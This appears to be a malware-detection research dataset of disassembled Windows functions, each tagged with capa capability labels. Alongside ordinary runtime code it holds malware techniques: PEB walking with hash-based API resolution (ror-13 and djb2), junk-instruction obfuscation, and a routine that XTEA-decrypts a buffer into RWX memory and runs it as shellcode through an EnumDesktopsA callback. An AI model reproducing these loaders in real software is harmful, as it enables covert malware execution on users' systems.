joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140046330
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x38
mov eax, dword [r8 + 0x10]
add eax, 1
mov r8, qword [r8]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov r9d, 7
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
sete al
add rsp, 0x38
ret

Function at 0x140046780
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x28
cmp byte [0x14012cdb0], 1
jne 0x140046798
mov al, byte [0x14012cdb1]
jmp 0x14004691e
mov byte [0x14012cdb0], 1
lea rcx, str.advapi32.dll
call fcn.140045c80
mov qword [0x14012cdb8], rax
test rax, rax
je 0x140046916
lea rdx, str.GetSecurityInfo
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14012cdc0], rax
test rax, rax
je 0x140046916
mov rcx, qword [0x14012cdb8]
test rcx, rcx
je 0x1400468cf
lea rdx, str.SetSecurityInfo
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14012cdc8], rax
test rax, rax
je 0x140046916
mov rcx, qword [0x14012cdb8]
test rcx, rcx
je 0x1400468de
lea rdx, str.OpenProcessToken
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14012cdd0], rax
test rax, rax
je 0x140046916
mov rcx, qword [0x14012cdb8]
test rcx, rcx
je 0x1400468ed
lea rdx, str.GetTokenInformation
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14012cdd8], rax
test rax, rax
je 0x140046916
mov rcx, qword [0x14012cdb8]
test rcx, rcx
je 0x1400468fc
lea rdx, [0x140106142]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14012cde0], rax
test rax, rax
je 0x140046916
mov rcx, qword [0x14012cdb8]
test rcx, rcx
je 0x14004690b
lea rdx, [0x140106472]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14012cde8], rax
test rax, rax
je 0x140046916
mov rcx, qword [0x14012cdb8]
test rcx, rcx
je 0x140046923
lea rdx, str.SetEntriesInAclA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
jmp 0x140046925
mov qword [0x14012cdc8], 0
xor eax, eax
jmp 0x140046918
mov qword [0x14012cdd0], 0
xor eax, eax
jmp 0x140046918
mov qword [0x14012cdd8], 0
xor eax, eax
jmp 0x140046918
mov qword [0x14012cde0], 0
xor eax, eax
jmp 0x140046918
mov qword [0x14012cde8], 0
xor eax, eax
mov byte [0x14012cdb1], al
add rsp, 0x28
ret
xor eax, eax
mov qword [0x14012cdf0], rax
test rax, rax
setne al
jmp 0x140046918
Function at 0x1400b8b50
Capabilities:
Encode data using xor

Disassembly:
mov r8, qword [rdx]
bswap r8
xor r8, qword [rcx + 0x70]
mov qword [rcx + 0x70], r8
mov r9, qword [rdx + 8]
bswap r9
xor r9, qword [rcx + 0x78]
pxor xmm0, xmm0
xor r10d, r10d
mov edx, r9d
and edx, 1
mov rax, r9
shr rax, 1
mov qword [rcx + 0x78], rax
neg rdx
movdqu xmm1, xmmword [rcx + r10 + 0x90]
movq xmm2, rdx
pshufd xmm2, xmm2, 0x44
pand xmm2, xmm1
pxor xmm2, xmm0
and eax, 1
shr r9, 2
mov qword [rcx + 0x78], r9
neg rax
movdqu xmm1, xmmword [rcx + r10 + 0xa0]
movq xmm0, rax
pshufd xmm0, xmm0, 0x44
pand xmm0, xmm1
pxor xmm0, xmm2
add r10, 0x20
cmp r10, 0x400
jne 0x1400b8b70
xor r9d, r9d
nop dword [rax]
mov eax, r8d
and eax, 1
mov rdx, r8
shr rdx, 1
mov qword [rcx + 0x70], rdx
neg rax
movdqu xmm1, xmmword [rcx + r9 + 0x490]
movq xmm2, rax
pshufd xmm2, xmm2, 0x44
pand xmm2, xmm1
pxor xmm2, xmm0
and edx, 1
shr r8, 2
mov qword [rcx + 0x70], r8
neg rdx
movdqu xmm1, xmmword [rcx + r9 + 0x4a0]
movq xmm0, rdx
pshufd xmm0, xmm0, 0x44
pand xmm0, xmm1
pxor xmm0, xmm2
add r9, 0x20
cmp r9, 0x400
jne 0x1400b8be0
movdqu xmmword [rcx + 0x70], xmm0
ret

Function at 0x1400c6554
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400c66a8
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400c6717
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400c6717
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400c6717
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400c6717
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400c6717
cmp dword [rcx + 0x84], 0xe
jbe 0x1400c6717
cmp dword [rcx + 0xf8], 0
je 0x1400c6717
mov ecx, ebx
call fcn.1400c65d4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400c683c
nop
cmp dword [rbp + 0x20], 0
je 0x1400c6765
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400c6674
int3
Function at 0x140199000
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
cld
and rsp, 0xfffffffffffffff0
call fcn.1401990d6
push r9
push r8
push rdx
xor rdx, rdx
push rcx
mov rdx, qword gs:[rdx + 0x60]
mov rdx, qword [rdx + 0x18]
push rsi
mov rdx, qword [rdx + 0x20]
movzx rcx, word [rdx + 0x4a]
mov rsi, qword [rdx + 0x50]
xor r9, r9
xor rax, rax
lodsb al, byte [rsi]
cmp al, 0x61
jl 0x140199037
sub al, 0x20
ror r9d, 0xd
add r9d, eax
loop 0x14019902d
push rdx
push r9
mov rdx, qword [rdx + 0x20]
mov eax, dword [rdx + 0x3c]
add rax, rdx
cmp word [rax + 0x18], 0x20b
jne 0x1401990cb
mov eax, dword [rax + 0x88]
test rax, rax
je 0x1401990cb
add rax, rdx
mov ecx, dword [rax + 0x18]
mov r8d, dword [rax + 0x20]
push rax
add r8, rdx
jrcxz 0x1401990ca
xor r9, r9
dec rcx
mov esi, dword [r8 + rcx*4]
add rsi, rdx
xor rax, rax
ror r9d, 0xd
lodsb al, byte [rsi]
add r9d, eax
cmp al, ah
jne 0x140199081
add r9, qword [rsp + 8]
cmp r9d, r10d
jne 0x140199072
pop rax
mov r8d, dword [rax + 0x24]
add r8, rdx
mov cx, word [r8 + rcx*2]
mov r8d, dword [rax + 0x1c]
add r8, rdx
mov eax, dword [r8 + rcx*4]
add rax, rdx
pop r8
pop r8
pop rsi
pop rcx
pop rdx
pop r8
pop r9
pop r10
sub rsp, 0x20
push r10
jmp rax
pop rax
pop r9
pop rdx
mov rdx, qword [rdx]
jmp 0x140199021
Function at 0x1400072e0
Capabilities:
Access peb ldr_data
Hash data using djb2
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
push rbx
push rsi
push rdi
push r12
push r14
sub rsp, 0x60
mov qword [rax + 8], rbp
xor r12d, r12d
mov qword [rax + 0x18], r15
mov r15, rcx
mov rax, qword gs:[0x30]
mov rdx, qword [rax + 0x60]
mov r14, qword [rdx + 0x18]
add r14, 0x20
mov r11, qword [r14]
cmp r11, r14
je 0x14000739b
nop dword [rax]
mov r9, qword [r11 + 0x20]
movsxd rax, dword [r9 + 0x3c]
mov ecx, dword [rax + r9 + 0x88]
test ecx, ecx
je 0x140007393
mov r10d, dword [r9 + rcx + 0x18]
lea rdi, [r9 + rcx]
mov r8d, r12d
test r10d, r10d
je 0x140007393
mov esi, dword [rdi + 0x20]
nop dword [rax + rax]
mov ebx, r8d
lea rax, [rsi + rbx*4]
mov ecx, dword [rax + r9]
mov eax, 0x1505
add rcx, r9
movsx edx, byte [rcx]
test edx, edx
je 0x14000738b
nop word [rax + rax]
imul eax, eax, 0x21
lea rcx, [rcx + 1]
add eax, edx
movsx edx, byte [rcx]
test edx, edx
jne 0x140007370
cmp eax, 0xcb0c2130
je 0x14000756f
inc r8d
cmp r8d, r10d
jb 0x140007350
mov r11, qword [r11]
cmp r11, r14
jne 0x140007320
mov rbp, qword [rsp + 0x98]
jmp 0x14076c28b
mov ecx, dword [rdi + 0x24]
add rcx, r9
movzx edx, word [rcx + rbx*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r9
mov ebp, dword [rcx + rdx*4]
add rbp, r9
jmp 0x1400073a3
pushfq
push rsi
mov rsi, rsi
push r11
movabs r11, 0x6f1e7dfc
dec r11
xor r11, 0x6f1e7d02
mov qword [rsp + 8], r11
mov r11, qword [rsp]
add rsp, 8
push r15
push rbp
mov rbp, r15
mov r15, rbp
pop rbp
push rdx
push r10
movabs r10, 0x4fed4b9e
push r10
movabs r10, 0xffffffffb019b67d
mov rdx, r10
pop r10
add rdx, r10
pop r10
mov qword [rsp + 8], rdx
pop rdx
push rdx
sub rsp, 8
mov qword [rsp], rsp
add qword [rsp], 8
pop rdx
add rdx, 8
sub rdx, 8
xchg qword [rsp], rdx
pop rsp
push rax
pop qword [rsp]
push 0x7f5f5e7e
push 0x6d46736a
sub rsp, 8
mov qword [rsp], rbx
pop qword [rsp]
pop qword [rsp]
push qword [rsp + 0x20]
push qword [rsp]
mov rax, qword [rsp]
push rcx
mov rcx, rsp
add rcx, 8
add rcx, 8
xchg qword [rsp], rcx
pop rsp
add rsp, 8
push qword [rsp + 0x10]
push qword [rsp]
pop rbx
push rcx
push rsp
pop rcx
add rcx, 8
add rcx, 8
xchg qword [rsp], rcx
pop rsp
sub rsp, 8
mov qword [rsp], r10
push rax
pop r10
mov qword [rsp + 0x18], r10
mov r10, qword [rsp]
push r15
mov r15, rsp
add r15, 8
add r15, 8
xchg qword [rsp], r15
pop rsp
sub rsp, 8
mov qword [rsp], rdx
mov rdx, rsp
add rdx, 8
sub rdx, 8
xchg qword [rsp], rdx
pop rsp
mov qword [rsp], rbx
pop qword [rsp + 0x20]
push qword [rsp]
pop rbx
push rdi
push rsp
pop rdi
add rdi, 8
add rdi, 8
xchg qword [rsp], rdi
mov rsp, qword [rsp]
push qword [rsp]
mov rax, qword [rsp]
push 0x4fd49be
mov qword [rsp], rax
mov rax, rsp
add rax, 8
add rax, 8
xchg qword [rsp], rax
pop rsp
add rsp, 8
push 0x6ca7796c
push rcx
pop qword [rsp]
mov rcx, rcx
push rbx
movabs rbx, 0x73a9
mov qword [rsp + 8], rbx
mov rbx, qword [rsp]
add rsp, 8
jmp 0x1403bf081
Function at 0x140001710
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140007470
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140007470
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x140001780
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x14000c094]
test esi, esi
mov rbx, rcx
jle 0x1400018b0
mov rax, qword [0x14000c098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400017cb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001855
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400017b0
mov rcx, rbx
call fcn.1400021d0
test rax, rax
mov rdi, rax
je 0x1400018d2
mov rax, qword [0x14000c098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002310
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000c098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400018b7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000184e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001860
add dword [0x14000c094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov r8d, 0x40
mov eax, 4
mov rcx, qword [rsp + 0x20]
cmove r8d, eax
mov rdx, qword [rsp + 0x38]
add rbx, qword [0x14000c098]
mov r9, rbx
mov qword [rbx + 8], rcx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000184e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001710
nop dword [rax]
xor esi, esi
jmp 0x1400017d8
mov rax, qword [0x14000c098]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [rdi + 8]
mov r8, qword [rax + rbx + 0x18]
call fcn.140001710
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call fcn.140001710
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001e40
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x14000c100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000c0e0]
test rbx, rbx
je 0x140001e9c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140001e93
test rsi, rsi
je 0x140001e93
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001e78
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400021d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140009870]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400021f0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400021f8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400021f0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000224d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x140002244
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400021f0
add rax, 0x28
cmp rax, r9
jne 0x140002230
xor eax, eax
ret

Function at 0x140002250
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009870]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000226f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002278
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000226f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002310
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140009870]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000232f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002338
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140007b70
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push rbx
mov eax, 0xc6ef3720
mov r8d, dword [rcx]
mov r10, rcx
mov ecx, dword [rcx + 4]
mov r11, rdx
nop word [rax + rax]
mov edx, eax
mov ebx, r8d
shr edx, 0xb
shr ebx, 5
and edx, 3
mov r9d, dword [r11 + rdx*4]
mov edx, r8d
shl edx, 4
xor edx, ebx
add edx, r8d
add r9d, eax
add eax, 0x61c88647
xor edx, r9d
sub ecx, edx
mov edx, eax
and edx, 3
mov ebx, ecx
mov r9d, dword [r11 + rdx*4]
mov edx, ecx
shr ebx, 5
shl edx, 4
xor edx, ebx
add edx, ecx
add r9d, eax
xor edx, r9d
sub r8d, edx
test eax, eax
jne 0x140007b88
mov dword [r10], r8d
mov dword [r10 + 4], ecx
pop rbx
ret

Function at 0x140007be0
Capabilities:
Encode data using xor
Encrypt data using xtea

Disassembly:
push rbx
xor eax, eax
mov r8d, dword [rcx]
mov r10, rcx
mov ecx, dword [rcx + 4]
mov r11, rdx
nop
mov edx, eax
mov ebx, ecx
and edx, 3
shr ebx, 5
mov r9d, dword [r11 + rdx*4]
mov edx, ecx
shl edx, 4
xor edx, ebx
add edx, ecx
add r9d, eax
sub eax, 0x61c88647
xor edx, r9d
add r8d, edx
mov edx, eax
shr edx, 0xb
mov ebx, r8d
and edx, 3
shr ebx, 5
mov r9d, dword [r11 + rdx*4]
mov edx, r8d
shl edx, 4
xor edx, ebx
add edx, r8d
add r9d, eax
xor edx, r9d
add ecx, edx
cmp eax, 0xc6ef3720
jne 0x140007bf0
mov dword [r10], r8d
mov dword [r10 + 4], ecx
pop rbx
ret
Function at 0x140007c50
Capabilities:
Allocate or change rwx memory
Enumerate gui resources
Execute shellcode via windows callback function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x188
lea rbp, [rsp + 0x80]
call fcn.140001500
lea r9, [rbp - 0x40]
mov r8d, 0x13a
movabs rax, 0x776f656d776f656d
lea rdx, [0x140009028]
mov rcx, r9
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rax
lea r14, [rbp - 0x60]
mov byte [rbp - 0x50], 0
call sub.msvcrt.dll_memcpy
mov ecx, 0x28
sub rsp, 0x140
mov r8d, 0x13a
lea r13, [rsp + 0x20]
mov r9, rax
movabs rax, 0x9090909090909090
mov rdi, r13
mov rdx, r9
mov rbx, r13
rep stosq qword [rdi], rax
mov rcx, r13
mov rsi, r13
lea rdi, [rsp + 0x160]
call sub.msvcrt.dll_memcpy
nop word cs:[rax + rax]
mov rcx, rsi
mov rdx, r14
add rsi, 8
call fcn.140007be0
cmp rsi, rdi
jne 0x140007cf0
lea rcx, str.encrypted:_n
mov rsi, r13
call fcn.140007b20
lea r12, str.x_02x
nop word [rax + rax]
movzx edx, byte [rsi]
mov rcx, r12
add rsi, 1
call fcn.140007b20
cmp rsi, rdi
jne 0x140007d20
lea rsi, [0x140009013]
mov r15, r13
mov rcx, rsi
call fcn.140007b20
nop word cs:[rax + rax]
mov rcx, r15
mov rdx, r14
add r15, 8
call fcn.140007b70
cmp r15, rdi
jne 0x140007d50
lea rcx, str.decrypted:_n
call fcn.140007b20
movzx edx, byte [rbx]
mov rcx, r12
add rbx, 1
call fcn.140007b20
cmp rbx, rdi
jne 0x140007d70
mov rcx, rsi
call fcn.140007b20
mov r9d, 0x40
xor ecx, ecx
mov r8d, 0x1000
mov edx, 0x140
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, r13
mov r8d, 0x140
mov rcx, rax
mov rbx, rax
call sub.msvcrt.dll_memmove
call qword [sym.imp.USER32.dll_GetProcessWindowStation]
xor r8d, r8d
mov rdx, rbx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnumDesktopsA]
xor eax, eax
lea rsp, [rbp + 0x108]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
Function at 0x140008164
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007f60
Function at 0x14000d4bc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000d4ec
xor eax, eax
jmp 0x14000d5af
mov rbp, rbx
cmp word [rax], si
je 0x14000d511
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000d4f8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000d4f4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000d3dc
movsxd r14, eax
test eax, eax
jne 0x14000d54f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000d4e5
mov rcx, r14
call fcn.140009c70
mov rdi, rax
test rax, rax
jne 0x14000d568
xor ecx, ecx
call fcn.140008ff8
jmp 0x14000d544
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000d3dc
test eax, eax
jne 0x14000d599
mov rcx, rdi
call fcn.140008ff8
jmp 0x14000d5a3
xor ecx, ecx
call fcn.140008ff8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400118cc
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1400118e2
mov al, 1
jmp 0x140011942
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400118f3
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140011940
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000dddc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140011940
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140011940
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140011940
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140011942
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x140012980
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000c4ac
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140012a0a
cmp byte [rbp - 0x21], r15b
je 0x140012a05
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140012a40
call fcn.140009248
test eax, eax
jne 0x140012a2c
cmp byte [rbp - 0x21], r15b
je 0x140012a24
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140012a40
cmp byte [rbp - 0x21], r15b
je 0x140012a3d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000ba8c
test eax, eax
jne 0x140012ae0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000c4ac
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140012a7f
cmp byte [rbp - 0x21], r15b
je 0x140012ab4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140012ab4
call fcn.140009248
test eax, eax
jne 0x140012aa0
cmp byte [rbp - 0x21], r15b
je 0x140012a99
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140012ab4
cmp byte [rbp - 0x21], r15b
je 0x140012ab1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000ba8c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140012ae0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140012ae3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140012af1
mov rcx, rdi
call fcn.140008ff8
cmp byte [rbp + 0x3f], r15b
je 0x140012b00
mov rcx, qword [rbp + 0x27]
call fcn.140008ff8
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x4152e0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x415466
sub rsp, 0x50
mov qword [rsp + 0x48], rbp
lea rbp, [rsp + 0x48]
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call fcn.0042e3a0
xorps xmm15, xmm15
mov r14, qword [0x00657b10]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x58]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x415356
mov rbx, qword [rsp + 0x60]
jmp 0x41536a
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
nop
ret
sub rax, rbx
add rcx, rbx
mov rbx, rax
test rbx, rbx
jbe 0x41538e
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rcx
mov rax, rbx
jmp 0x4153a2
cmp rbx, 0x1000
jae 0x415361
jmp 0x41541a
mov rbp, qword [rsp + 0x48]
add rsp, 0x50
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
cmp rbx, 0x1000
jae 0x4153af
xor edx, edx
jmp 0x415411
mov qword [rsp + 0x30], rbx
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
nop dword [rax + rax]
call fcn.0042e3a0
xorps xmm15, xmm15
mov r14, qword [0x00657b10]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x30]
mov edx, eax
mov rax, qword [rsp + 0x38]
test dl, dl
jne 0x415398
jmp 0x415380
call fcn.00459a00
xorps xmm15, xmm15
mov r14, qword [0x00657b10]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
cmp eax, 8
jne 0x41544a
lea rax, [0x00535abe]
mov ebx, 0xd
call fcn.00430c60
cmp eax, 0x5af
je 0x415439
lea rax, [0x0053a695]
mov ebx, 0x1f
nop dword [rax]
call fcn.00430c60
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00455e40
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
nop
jmp fcn.004152e0